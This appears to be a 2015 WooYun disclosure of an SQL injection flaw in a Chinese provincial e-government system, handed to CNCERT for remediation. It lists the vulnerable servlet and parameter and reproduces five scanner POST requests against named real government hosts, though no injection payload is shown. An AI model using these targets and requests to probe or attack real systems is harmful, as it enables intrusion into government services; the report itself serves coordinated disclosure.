当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-095293

漏洞标题：某省市级电子政务系统通用SQL之五-影响极大

相关厂商：CNCERT

漏洞作者： BMa

提交时间：2015-02-06 16:15

修复时间：2015-05-12 14:10

公开时间：2015-05-12 14:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：19

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-06： 细节已通知厂商并且等待厂商处理中
2015-02-11： 厂商已经确认，细节仅向厂商公开
2015-02-14： 细节向第三方安全合作伙伴开放
2015-04-07： 细节向核心白帽子及相关领域专家公开
2015-04-17： 细节向普通白帽子公开
2015-04-27： 细节向实习白帽子公开
2015-05-12： 细节向公众公开

简要描述：

某省市级电子政务系统通用SQL之五-影响极大

详细说明：

关键字：你好， 欢迎登录 电子政务大厅！ 3G电子政务大厅

0.1.jpg


0.jpg


POST /servlet/kbeditquestion
qid=15618&deptIds=null&deptid=26&deptname=%e7%8e%af%e5%a2%83%e4%bf%9d%e6%8a%a4%e5%8e%85&question=v05850%e5%9c%a8%e7%ba%bf%e5%92%a8%e8%af%a2%e7%9a%84%e9%97%ae%e9%a2%98&keywords=&guanlian=3&content=%e7%8e%af%e5%a2%83%e4%bf%9d%e6%8a%a4%e5%8e%85%3a
参数keywords
1、

POST /servlet/kbeditquestion HTTP/1.1
Cache-Control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36 Netsparker
Accept-Language: en-us,en;q=0.5
Host: egov.sczw.gov.cn:8080
Cookie: JSESSIONID=57CC9EF9447686087926FBEB0874B7C9
Accept-Encoding: gzip, deflate
Content-Length: 353
Content-Type: application/x-www-form-urlencoded
qid=15618&deptIds=null&deptid=26&deptname=%e7%8e%af%e5%a2%83%e4%bf%9d%e6%8a%a4%e5%8e%85&question=v05850%e5%9c%a8%e7%ba%bf%e5%92%a8%e8%af%a2%e7%9a%84%e9%97%ae%e9%a2%98&keywords=&guanlian=3&content=%e7%8e%af%e5%a2%83%e4%bf%9d%e6%8a%a4%e5%8e%85%3a


1.jpg


2、

POST /servlet/kbeditquestion HTTP/1.1
Cache-Control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36 Netsparker
Accept-Language: en-us,en;q=0.5
Host: stgov.my.gov.cn:8080
Cookie: JSESSIONID=57CC9EF9447686087926FBEB0874B7C9
Accept-Encoding: gzip, deflate
Content-Length: 353
Content-Type: application/x-www-form-urlencoded
qid=15618&deptIds=null&deptid=26&deptname=%e7%8e%af%e5%a2%83%e4%bf%9d%e6%8a%a4%e5%8e%85&question=v05850%e5%9c%a8%e7%ba%bf%e5%92%a8%e8%af%a2%e7%9a%84%e9%97%ae%e9%a2%98&keywords=&guanlian=3&content=%e7%8e%af%e5%a2%83%e4%bf%9d%e6%8a%a4%e5%8e%85%3a


2.jpg


3、

POST /servlet/kbeditquestion HTTP/1.1
Cache-Control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36 Netsparker
Accept-Language: en-us,en;q=0.5
Host: egov.my.gov.cn:8080
Cookie: JSESSIONID=57CC9EF9447686087926FBEB0874B7C9
Accept-Encoding: gzip, deflate
Content-Length: 353
Content-Type: application/x-www-form-urlencoded
qid=15618&deptIds=null&deptid=26&deptname=%e7%8e%af%e5%a2%83%e4%bf%9d%e6%8a%a4%e5%8e%85&question=v05850%e5%9c%a8%e7%ba%bf%e5%92%a8%e8%af%a2%e7%9a%84%e9%97%ae%e9%a2%98&keywords=&guanlian=3&content=%e7%8e%af%e5%a2%83%e4%bf%9d%e6%8a%a4%e5%8e%85%3a


3.jpg


4、

POST /servlet/kbeditquestion HTTP/1.1
Cache-Control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36 Netsparker
Accept-Language: en-us,en;q=0.5
Host: egov.scsn.gov.cn:8080
Cookie: JSESSIONID=57CC9EF9447686087926FBEB0874B7C9
Accept-Encoding: gzip, deflate
Content-Length: 353
Content-Type: application/x-www-form-urlencoded
qid=15618&deptIds=null&deptid=26&deptname=%e7%8e%af%e5%a2%83%e4%bf%9d%e6%8a%a4%e5%8e%85&question=v05850%e5%9c%a8%e7%ba%bf%e5%92%a8%e8%af%a2%e7%9a%84%e9%97%ae%e9%a2%98&keywords=&guanlian=3&content=%e7%8e%af%e5%a2%83%e4%bf%9d%e6%8a%a4%e5%8e%85%3a


4.jpg


5、

POST /servlet/kbeditquestion HTTP/1.1
Cache-Control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36 Netsparker
Accept-Language: en-us,en;q=0.5
Host: egov.zgzw.gov.cn:8080
Cookie: JSESSIONID=57CC9EF9447686087926FBEB0874B7C9
Accept-Encoding: gzip, deflate
Content-Length: 353
Content-Type: application/x-www-form-urlencoded
qid=15618&deptIds=null&deptid=26&deptname=%e7%8e%af%e5%a2%83%e4%bf%9d%e6%8a%a4%e5%8e%85&question=v05850%e5%9c%a8%e7%ba%bf%e5%92%a8%e8%af%a2%e7%9a%84%e9%97%ae%e9%a2%98&keywords=&guanlian=3&content=%e7%8e%af%e5%a2%83%e4%bf%9d%e6%8a%a4%e5%8e%85%3a


5.jpg

漏洞证明：

修复方案：

版权声明：转载请注明来源 BMa@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-02-11 14:08

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给四川分中心，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论